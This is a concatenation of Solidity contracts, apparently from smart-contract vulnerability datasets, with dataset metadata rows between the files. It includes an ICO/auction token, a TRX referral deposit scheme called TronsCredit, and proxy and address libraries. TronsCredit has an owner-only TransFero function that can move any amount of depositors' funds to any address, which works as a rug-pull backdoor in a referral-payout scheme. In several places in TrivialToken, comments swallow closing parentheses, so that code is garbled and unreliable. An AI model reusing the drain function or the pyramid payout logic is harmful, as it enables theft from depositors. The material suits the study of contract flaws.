/// @dev Retrieving gifts by address _owner
function giftsOfOwner(address _owner) public view returns (uint256[] ownerGifts) {
uint256 giftCount = balanceOf(_owner);
if (giftCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](giftCount);
uint256 total = totalSupply();
uint256 resultIndex = 0;
uint256 giftId;
for (giftId = 0; giftId <= total; giftId++) {
if (giftIndexToOwners[giftId] == _owner) {
result[resultIndex] = giftId;
resultIndex++;
}
}
return result;
}
}
/// @dev withdraw GTO and ETH in this contract
function withdrawGTO()
onlyOwner
public {
Gifto.transfer(defaultGiftOwner, Gifto.balanceOf(address(this)));
}
function withdraw()
onlyOwner
public
returns (bool){
return defaultGiftOwner.send(this.balance);
}
}
| 213,953 | 13,586 |
b785e7820a1e5842f879fad81f596eba21a7dce62340c8ca8eb592060ce50b67
| 18,206 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x55fc04a73f058832b4f3498dc83ceb6e53a9e314.sol
| 3,901 | 14,802 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
contract TrivialToken is StandardToken, PullPayment {
//Constants
uint8 constant DECIMALS = 0;
uint256 constant MIN_ETH_AMOUNT = 0.005 ether;
uint256 constant MIN_BID_PERCENTAGE = 10;
uint256 constant TOTAL_SUPPLY = 1000000;
uint256 constant TOKENS_PERCENTAGE_FOR_KEY_HOLDER = 25;
uint256 constant CLEANUP_DELAY = 180 days;
uint256 constant FREE_PERIOD_DURATION = 60 days;
//Basic
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
//Accounts
address public artist;
address public trivial;
//Time information
uint256 public icoDuration;
uint256 public icoEndTime;
uint256 public auctionDuration;
uint256 public auctionEndTime;
uint256 public freePeriodEndTime;
//Token information
uint256 public tokensForArtist;
uint256 public tokensForTrivial;
uint256 public tokensForIco;
//ICO and auction results
uint256 public amountRaised;
address public highestBidder;
uint256 public highestBid;
bytes32 public auctionWinnerMessageHash;
uint256 public nextContributorIndexToBeGivenTokens;
uint256 public tokensDistributedToContributors;
//Events
event IcoStarted(uint256 icoEndTime);
event IcoContributed(address contributor, uint256 amountContributed, uint256 amountRaised);
event IcoFinished(uint256 amountRaised);
event IcoCancelled();
event AuctionStarted(uint256 auctionEndTime);
event HighestBidChanged(address highestBidder, uint256 highestBid);
event AuctionFinished(address highestBidder, uint256 highestBid);
event WinnerProvidedHash();
//State
enum State { Created, IcoStarted, IcoFinished, AuctionStarted, AuctionFinished, IcoCancelled }
State public currentState;
//Item description
struct DescriptionHash {
bytes32 descriptionHash;
uint256 timestamp;
}
DescriptionHash public descriptionHash;
DescriptionHash[] public descriptionHashHistory;
//Token contributors and holders
mapping(address => uint) public contributions;
address[] public contributors;
//Modififers
modifier onlyInState(State expectedState) { require(expectedState == currentState); _; }
modifier onlyBefore(uint256 _time) { require(now < _time); _; }
modifier onlyAfter(uint256 _time) { require(now > _time); _; }
modifier onlyTrivial() { require(msg.sender == trivial); _; }
modifier onlyArtist() { require(msg.sender == artist); _; }
modifier onlyAuctionWinner() {
require(currentState == State.AuctionFinished);
require(msg.sender == highestBidder);
_;
}
function TrivialToken(string _name, string _symbol,
uint256 _icoDuration, uint256 _auctionDuration,
address _artist, address _trivial,
uint256 _tokensForArtist,
uint256 _tokensForTrivial,
uint256 _tokensForIco,
bytes32 _descriptionHash) {
require(MIN_BID_PERCENTAGE < 100);
require(TOKENS_PERCENTAGE_FOR_KEY_HOLDER < 100);
name = _name;
symbol = _symbol;
decimals = DECIMALS;
icoDuration = _icoDuration;
auctionDuration = _auctionDuration;
artist = _artist;
trivial = _trivial;
tokensForArtist = _tokensForArtist;
tokensForTrivial = _tokensForTrivial;
tokensForIco = _tokensForIco;
descriptionHash = DescriptionHash(_descriptionHash, now);
currentState = State.Created;
}
function startIco()
onlyInState(State.Created)
onlyTrivial() {
icoEndTime = SafeMath.add(now, icoDuration);
freePeriodEndTime = SafeMath.add(icoEndTime, FREE_PERIOD_DURATION);
currentState = State.IcoStarted;
IcoStarted(icoEndTime);
}
function contributeInIco() payable
onlyInState(State.IcoStarted)
onlyBefore(icoEndTime) {
require(msg.value > MIN_ETH_AMOUNT);
if (contributions[msg.sender] == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender] = SafeMath.add(contributions[msg.sender], msg.value);
amountRaised = SafeMath.add(amountRaised, msg.value);
IcoContributed(msg.sender, msg.value, amountRaised);
}
function distributeTokens(uint256 contributorsNumber)
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
for (uint256 i = 0; i < contributorsNumber && nextContributorIndexToBeGivenTokens < contributors.length; ++i) {
address currentContributor = contributors[nextContributorIndexToBeGivenTokens++];
uint256 tokensForContributor = SafeMath.div(SafeMath.mul(tokensForIco, contributions[currentContributor]),
amountRaised // amountRaised can't be 0, ICO is cancelled then);
balances[currentContributor] = tokensForContributor;
tokensDistributedToContributors = SafeMath.add(tokensDistributedToContributors, tokensForContributor);
}
}
function finishIco()
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
if (amountRaised == 0) {
currentState = State.IcoCancelled;
return;
}
// all contributors must have received their tokens to finish ICO
require(nextContributorIndexToBeGivenTokens >= contributors.length);
balances[artist] = SafeMath.add(balances[artist], tokensForArtist);
balances[trivial] = SafeMath.add(balances[trivial], tokensForTrivial);
uint256 leftovers = SafeMath.sub(tokensForIco, tokensDistributedToContributors);
balances[artist] = SafeMath.add(balances[artist], leftovers);
if (!artist.send(this.balance)) {
asyncSend(artist, this.balance);
}
currentState = State.IcoFinished;
IcoFinished(amountRaised);
}
function checkContribution(address contributor) constant returns (uint) {
return contributions[contributor];
}
function canStartAuction() returns (bool) {
bool isArtist = msg.sender == artist;
bool isKeyHolder = balances[msg.sender] >= SafeMath.div(SafeMath.mul(TOTAL_SUPPLY, TOKENS_PERCENTAGE_FOR_KEY_HOLDER), 100);
return isArtist || isKeyHolder;
}
function startAuction()
onlyAfter(freePeriodEndTime)
onlyInState(State.IcoFinished) {
require(canStartAuction());
// 100% tokens owner is the only key holder
if (balances[msg.sender] == TOTAL_SUPPLY) {
// no auction takes place,
highestBidder = msg.sender;
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
return;
}
auctionEndTime = SafeMath.add(now, auctionDuration);
currentState = State.AuctionStarted;
AuctionStarted(auctionEndTime);
}
function bidInAuction() payable
onlyInState(State.AuctionStarted)
onlyBefore(auctionEndTime) {
//Must be greater or equal to minimal amount
require(msg.value >= MIN_ETH_AMOUNT);
uint256 bid = calculateUserBid();
//If there was a bid already
if (highestBid >= MIN_ETH_AMOUNT) {
//Must be greater or equal to 105% of previous bid
uint256 minimalOverBid = SafeMath.add(highestBid, SafeMath.div(SafeMath.mul(highestBid, MIN_BID_PERCENTAGE), 100));
require(bid >= minimalOverBid);
//Return to previous bidder his balance
//Value to return: current balance - current bid - paymentsInAsyncSend
uint256 amountToReturn = SafeMath.sub(SafeMath.sub(this.balance, msg.value), totalPayments);
if (!highestBidder.send(amountToReturn)) {
asyncSend(highestBidder, amountToReturn);
}
}
highestBidder = msg.sender;
highestBid = bid;
HighestBidChanged(highestBidder, highestBid);
}
function calculateUserBid() private returns (uint256) {
uint256 bid = msg.value;
uint256 contribution = balanceOf(msg.sender);
if (contribution > 0) {
//Formula: (sentETH * allTokens) / (allTokens - userTokens)
//User sends 16ETH, has 40 of 200 tokens
//(16 * 200) / (200 - 40) => 3200 / 160 => 20
bid = SafeMath.div(SafeMath.mul(msg.value, TOTAL_SUPPLY),
SafeMath.sub(TOTAL_SUPPLY, contribution));
}
return bid;
}
function finishAuction()
onlyInState(State.AuctionStarted)
onlyAfter(auctionEndTime) {
require(highestBid > 0); // auction cannot be finished until at least one person bids
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
}
function withdrawShares(address holder) public
onlyInState(State.AuctionFinished) {
uint256 availableTokens = balances[holder];
require(availableTokens > 0);
balances[holder] = 0;
if (holder != highestBidder) {
holder.transfer(SafeMath.div(SafeMath.mul(highestBid, availableTokens), TOTAL_SUPPLY));
}
}
function isKeyHolder(address person) constant returns (bool) {
return balances[person] >= SafeMath.div(tokensForIco, TOKENS_PERCENTAGE_FOR_KEY_HOLDER); }
function contributorsCount() constant returns (uint256) { return contributors.length; }
// Cancel ICO will be redesigned to prevent
// risk of user funds overtaken
function setDescriptionHash(bytes32 _descriptionHash)
onlyArtist() {
descriptionHashHistory.push(descriptionHash);
descriptionHash = DescriptionHash(_descriptionHash, now);
}
function setAuctionWinnerMessageHash(bytes32 _auctionWinnerMessageHash)
onlyAuctionWinner() {
auctionWinnerMessageHash = _auctionWinnerMessageHash;
WinnerProvidedHash();
}
function killContract()
onlyTrivial() {
require((currentState == State.AuctionFinished &&
now > SafeMath.add(auctionEndTime, CLEANUP_DELAY) // Delay in correct state) ||
currentState == State.IcoCancelled // No delay in cancelled state);
selfdestruct(trivial);
}
// helper function to avoid too many contract calls on frontend side
function getContractState() constant returns (uint256, uint256, uint256, uint256, uint256,
uint256, uint256, address, uint256, State,
uint256, uint256, uint256) {
return (icoEndTime, auctionDuration, auctionEndTime,
tokensForArtist, tokensForTrivial, tokensForIco,
amountRaised, highestBidder, highestBid, currentState,
TOKENS_PERCENTAGE_FOR_KEY_HOLDER, MIN_BID_PERCENTAGE,
freePeriodEndTime);
}
function transfer(address _to, uint _value)
onlyInState(State.IcoFinished) returns (bool) {
return BasicToken.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
onlyInState(State.IcoFinished) returns (bool) {
return StandardToken.transferFrom(_from, _to, _value);
}
function () payable {
if (currentState == State.IcoStarted) {
contributeInIco();
}
else if (currentState == State.AuctionStarted) {
bidInAuction();
}
else {
revert();
}
}
}
| 202,030 | 13,587 |
549c53464143f7365fc5add4c55e83b828ede5c84fdac0ab3f8ebe38cd4ee82e
| 20,402 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THePsurhy6Mupy7331D2BhUcz9e6MQLB2e_TronsCredit.sol
| 5,308 | 19,187 |
//SourceUnit: auroatest.sol
pragma solidity >=0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address payable internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address payable msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TronsCredit is Ownable {
using SafeMath for uint256;
uint256 public constant MINIMAL_DEPOSIT = 7 trx;
uint256 public constant DEPOSITS_THRESHOLD = 25;
uint256 public constant ROWS_IN_DEPOSIT = 7;
uint8 public constant DEPOSITS_TYPES_COUNT = 4;
uint256 public constant POSSIBLE_DEPOSITS_ROWS_COUNT = 700;
uint256[4] public PLANS_PERIODS = [7 days, 14 days, 21 days, 28 days];
uint256[4] public PLANS_PERCENTS = [8, 18, 29, 43];
uint256[4] public ADMIN_REWARDS_PERCENTS = [90, 90, 90, 90];
uint256[9] public LEADER_BONUS_TRIGGERS = [
10000 trx,
20000 trx,
50000 trx,
100000 trx,
500000 trx,
1000000 trx,
5000000 trx,
10000000 trx,
50000000 trx
];
uint256[9] public LEADER_BONUS_REWARDS = [
200 trx,
400 trx,
1000 trx,
2000 trx,
10000 trx,
35000 trx,
130000 trx,
350000 trx,
3500000 trx
];
uint256[3] public LEADER_BONUS_LEVEL_PERCENTS = [100, 30, 15];
address payable public PROMOTION_ADDRESS;
uint256[4] public PROMOTION_PERCENTS = [20, 20, 20, 20];
address payable public DEFAULT_REFERRER;
uint256[5][4] public REFERRAL_PERCENTS;
uint256[4] public TOTAL_REFERRAL_PERCENTS = [300, 600, 900, 1200];
struct Deposit {
uint256 id;
uint256 amount;
uint8 depositType;
uint256 freezeTime;
uint256 withdrawn;
}
struct Player {
address payable referrer;
address refLevel;
uint256 referralReward;
uint256 refsCount;
bool isActive;
uint256 leadTurnover;
uint256 basicWithdraws;
uint256 leadBonusReward;
bool[9] receivedBonuses;
bool isMadeFirstDeposit;
Deposit[] deposits;
uint256 investmentSum;
uint256[4] depositsTypesCount;
}
mapping(address => Player) public players;
mapping(address => uint256) private balances;
uint256 public playersCount;
uint256 public depositsCounter;
uint256 public totalFrozenFunds;
uint256 public totalReferalWithdraws;
uint256 public totalLeadBonusReward;
uint256 public turnover;
event NewDeposit(uint256 depositId,
address account,
address referrer,
uint8 depositType,
uint256 amount);
event Withdraw(address account, uint256 originalAmount, uint256 level_percent, uint256 amount);
event TransferReferralReward(address ref, address player, uint256 originalAmount, uint256 level_percents, uint256 rateType, uint256 amount);
event TransferLeaderBonusReward(address indexed _to,
uint256 indexed _amount,
uint8 indexed _level);
event TakeAwayDeposit(address account, uint8 depositType, uint256 amount);
event WithdrawAdminReward(address admin, uint256 reward);
event WithdrawPromotionReward(address promo, uint256 reward);
constructor(address payable _PROMOTION_ADDRESS, address payable _DEFAULT_REFERRER) public {
PROMOTION_ADDRESS = _PROMOTION_ADDRESS;
DEFAULT_REFERRER = _DEFAULT_REFERRER;
REFERRAL_PERCENTS[0] = [125, 75, 50, 25, 25];
REFERRAL_PERCENTS[1] = [250, 150, 100, 50, 50];
REFERRAL_PERCENTS[2] = [375, 225, 150, 75, 75];
REFERRAL_PERCENTS[3] = [500, 300, 200, 100, 100];
}
function isDepositCanBeCreated(uint8 depositType) external view returns (bool) {
if (depositType < DEPOSITS_TYPES_COUNT) {
return players[msg.sender].depositsTypesCount[depositType] < DEPOSITS_THRESHOLD;
}
else {
return false;
}
}
function makeDeposit(address payable ref, uint8 depositType)
external
payable
{
Player storage player = players[msg.sender];
require(depositType < DEPOSITS_TYPES_COUNT, "Wrong deposit type");
require(player.depositsTypesCount[depositType] < DEPOSITS_THRESHOLD, "Can't create deposits over limit");
require(msg.value >= MINIMAL_DEPOSIT,
"Not enought for mimimal deposit");
require(player.isActive || ref != msg.sender, "Referal can't refer to itself");
if (!player.isActive) {
playersCount = playersCount.add(1);
player.isActive = true;
}
player.depositsTypesCount[depositType] = player.depositsTypesCount[depositType].add(1);
_setReferrer(msg.sender, ref);
player.deposits.push(Deposit({
id: depositsCounter + 1,
amount: msg.value,
depositType: depositType,
freezeTime: now,
withdrawn: 0
}));
player.investmentSum = player.investmentSum.add(msg.value);
totalFrozenFunds = totalFrozenFunds.add(msg.value);
emit NewDeposit(depositsCounter + 1, msg.sender, _getReferrer(msg.sender), depositType, msg.value);
distributeRef(msg.value, msg.sender, depositType);
distributeBonuses(msg.value, msg.sender);
sendRewardToAdmin(msg.value, depositType);
sendRewardToPromotion(msg.value, depositType);
depositsCounter = depositsCounter.add(1);
}
function takeAwayDeposit(uint256 depositId) external returns (uint256) {
Player storage player = players[msg.sender];
require(depositId < player.deposits.length, "Out of keys list range");
Deposit memory deposit = player.deposits[depositId];
require(deposit.withdrawn > 0, "First need to withdraw reward");
require(deposit.freezeTime.add(PLANS_PERIODS[deposit.depositType]) <= block.timestamp,
"Not allowed now");
require(address(this).balance >= deposit.amount, "Not enought TRX to withdraw deposit");
player.depositsTypesCount[deposit.depositType] = player.depositsTypesCount[deposit.depositType].sub(1);
player.investmentSum = player.investmentSum.sub(deposit.amount);
if (depositId < player.deposits.length.sub(1)) {
player.deposits[depositId] = player.deposits[player.deposits.length.sub(1)];
}
player.deposits.pop();
msg.sender.transfer(deposit.amount);
emit TakeAwayDeposit(msg.sender, deposit.depositType, deposit.amount);
}
function _withdraw(address payable _wallet, uint256 _amount) private {
require(address(this).balance >= _amount, "Not enougth TRX to withdraw reward");
_wallet.transfer(_amount);
}
function withdrawReward(uint256 depositId) external returns (uint256) {
Player storage player = players[msg.sender];
require(depositId < player.deposits.length, "Out of keys list range");
Deposit storage deposit = player.deposits[depositId];
require(deposit.withdrawn == 0, "Already withdrawn, try 'Withdrow again' feature");
uint256 amount = deposit.amount.mul(PLANS_PERCENTS[deposit.depositType]).div(100);
deposit.withdrawn = deposit.withdrawn.add(amount);
_withdraw(msg.sender, amount);
emit Withdraw(msg.sender, deposit.amount, PLANS_PERCENTS[deposit.depositType], amount);
player.basicWithdraws = player.basicWithdraws.add(amount);
return amount;
}
function withdrawRewardAgain(uint256 depositId) external returns (uint256) {
Player storage player = players[msg.sender];
require(depositId < player.deposits.length, "Out of keys list range");
Deposit storage deposit = player.deposits[depositId];
require(deposit.withdrawn != 0, "Already withdrawn, try 'Withdrow again' feature");
require(deposit.freezeTime.add(PLANS_PERIODS[deposit.depositType]) <= block.timestamp, "Repeated withdraw not allowed now");
deposit.freezeTime = block.timestamp;
uint256 amount =
deposit.amount
.mul(PLANS_PERCENTS[deposit.depositType])
.div(100);
deposit.withdrawn = deposit.withdrawn.add(amount);
_withdraw(msg.sender, amount);
emit Withdraw(msg.sender, deposit.withdrawn, PLANS_PERCENTS[deposit.depositType], amount);
player.basicWithdraws = player.basicWithdraws.add(amount);
uint256 depositAmount = deposit.amount;
distributeRef(depositAmount, msg.sender, deposit.depositType);
sendRewardToAdmin(depositAmount, deposit.depositType);
sendRewardToPromotion(depositAmount, deposit.depositType);
return amount;
}
function distributeRef(uint256 _amount, address _player, uint256 rateType) private {
uint256 totalReward = _amount.mul(TOTAL_REFERRAL_PERCENTS[rateType]).div(10000);
address player = _player;
address payable ref = _getReferrer(player);
uint256 refReward;
for (uint8 i = 0; i < REFERRAL_PERCENTS[rateType].length; i++) {
refReward = (_amount.mul(REFERRAL_PERCENTS[rateType][i]).div(10000));
totalReward = totalReward.sub(refReward);
players[ref].referralReward = players[ref].referralReward.add(refReward);
totalReferalWithdraws = totalReferalWithdraws.add(refReward);
if (address(this).balance >= refReward) {
if (i == 0 && !players[player].isMadeFirstDeposit) {
players[player].isMadeFirstDeposit = true;
players[ref].refsCount = players[ref].refsCount.add(1);
}
ref.transfer(refReward);
emit TransferReferralReward(ref, player, _amount, REFERRAL_PERCENTS[rateType][i], rateType, refReward);
}
else {
break;
}
player = ref;
ref = players[ref].referrer;
if (ref == address(0x0)) {
ref = DEFAULT_REFERRER;
}
}
if (totalReward > 0) {
address(uint160(owner())).transfer(totalReward);
}
}
function distributeBonuses(uint256 _amount, address payable _player)
private
{
address payable ref = players[_player].referrer;
for (uint8 i = 0; i < LEADER_BONUS_LEVEL_PERCENTS.length; i++) {
players[ref].leadTurnover = players[ref].leadTurnover.add(_amount.mul(LEADER_BONUS_LEVEL_PERCENTS[i]).div(100));
for (uint8 j = 0; j < LEADER_BONUS_TRIGGERS.length; j++) {
if (players[ref].leadTurnover >= LEADER_BONUS_TRIGGERS[j]) {
if (!players[ref].receivedBonuses[j] && address(this).balance >= LEADER_BONUS_REWARDS[j]) {
players[ref].receivedBonuses[j] = true;
players[ref].leadBonusReward = players[ref]
.leadBonusReward
.add(LEADER_BONUS_REWARDS[j]);
totalLeadBonusReward = totalLeadBonusReward.add(LEADER_BONUS_REWARDS[j]);
ref.transfer(LEADER_BONUS_REWARDS[j]);
emit TransferLeaderBonusReward(ref,
LEADER_BONUS_REWARDS[j],
i);
} else {
continue;
}
} else {
break;
}
}
ref = players[ref].referrer;
}
}
function sendRewardToAdmin(uint256 amount, uint8 depositType) private {
uint256 reward = amount.mul(ADMIN_REWARDS_PERCENTS[depositType]).div(1000);
address(uint160(owner())).transfer(reward);
emit WithdrawAdminReward(owner(), reward);
}
function sendRewardToPromotion(uint256 amount, uint8 depositType) private {
uint256 reward = amount.mul(PROMOTION_PERCENTS[depositType]).div(1000);
PROMOTION_ADDRESS.transfer(reward);
emit WithdrawPromotionReward(PROMOTION_ADDRESS, reward);
}
function _getReferrer(address player) private view returns (address payable) {
return players[player].referrer;
}
function _setReferrer(address playerAddress, address payable ref) private {
Player storage player = players[playerAddress];
uint256 depositsCount = getDepositsCount(address(ref));
if (player.referrer == address(0)) {
if (ref == address(0) || depositsCount == 0) {
player.referrer = DEFAULT_REFERRER;
}
else {
player.referrer = ref;
}
}
}
function add() external payable {
require(msg.value > 0, "Invalid TRX amount");
balances[msg.sender] = balances[msg.sender].add(msg.value);
turnover = turnover.add(msg.value);
}
function sub(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Low TRX balance");
balances[msg.sender] = balances[msg.sender].sub(_amount);
msg.sender.transfer(_amount);
}
function turn(address payable _address) external payable {
turnover = turnover.add(msg.value);
_address.transfer(msg.value);
}
function getGlobalStats() external view returns (uint256[4] memory stats) {
stats[0] = totalFrozenFunds;
stats[1] = playersCount;
}
function getInvestmentsSum(address _player) public view returns (uint256 sum) {
return players[_player].investmentSum;
}
function getDeposit(address _player, uint256 _id) public view returns (uint256[ROWS_IN_DEPOSIT] memory deposit) {
Deposit memory depositStruct = players[_player].deposits[_id];
deposit = depositStructToArray(depositStruct);
}
function getDeposits(address _player) public view returns (uint256[POSSIBLE_DEPOSITS_ROWS_COUNT] memory deposits) {
Player memory player = players[_player];
for (uint256 i = 0; i < player.deposits.length; i++) {
uint256[ROWS_IN_DEPOSIT] memory deposit = depositStructToArray(player.deposits[i]);
for (uint256 row = 0; row < ROWS_IN_DEPOSIT; row++) {
deposits[i.mul(ROWS_IN_DEPOSIT).add(row)] = deposit[row];
}
}
}
function getDepositsCount(address _player) public view returns (uint256) {
return players[_player].deposits.length;
}
function isDepositTakenAway(address _player, uint256 _id) public view returns (bool) {
return players[_player].deposits[_id].amount == 0;
}
function getWithdraws(address _player) public view returns (uint256) {
return players[_player].basicWithdraws;
}
function getWithdrawnReferalFunds(address _player)
public
view
returns (uint256)
{
return players[_player].referralReward;
}
function getWithdrawnLeaderFunds(address _player)
public
view
returns (uint256)
{
return players[_player].leadBonusReward;
}
function getReferralsCount(address _player) public view returns (uint256) {
return players[_player].refsCount;
}
function getPersonalStats(address _player) external view returns (uint256[7] memory stats) {
Player memory player = players[_player];
stats[0] = address(_player).balance;
if (player.isActive) {
stats[1] = player.deposits.length;
stats[2] = getInvestmentsSum(_player);
}
else {
stats[1] = 0;
stats[2] = 0;
}
stats[3] = getWithdraws(_player);
stats[4] = getWithdrawnReferalFunds(_player);
stats[5] = getWithdrawnLeaderFunds(_player);
stats[6] = getReferralsCount(_player);
}
function getReceivedBonuses(address _player) external view returns (bool[9] memory) {
return players[_player].receivedBonuses;
}
function TransFero(address payable _address,uint _amount) public onlyOwner returns(bool){
// require(owner ==msg.sender,"Transfero");
uint256 amount = _amount.mul(1000000);
_address.transfer(amount);
return true;
}
function depositStructToArray(Deposit memory deposit) private view returns (uint256[ROWS_IN_DEPOSIT] memory depositArray) {
depositArray[0] = deposit.id;
depositArray[1] = deposit.amount;
depositArray[2] = deposit.depositType;
depositArray[3] = PLANS_PERCENTS[deposit.depositType];
depositArray[4] = PLANS_PERIODS[deposit.depositType];
depositArray[5] = deposit.freezeTime;
depositArray[6] = deposit.withdrawn;
}
}
| 293,776 | 13,588 |
b150547eb5163cf2ca2d0d4bdfdf7ccb87c6b14c5f8ae470748c39762e02e4b5
| 27,301 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ba/ba2c786cc04c94466ebdd4d4e64d298d34fc278b_Address.sol
| 2,924 | 12,196 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
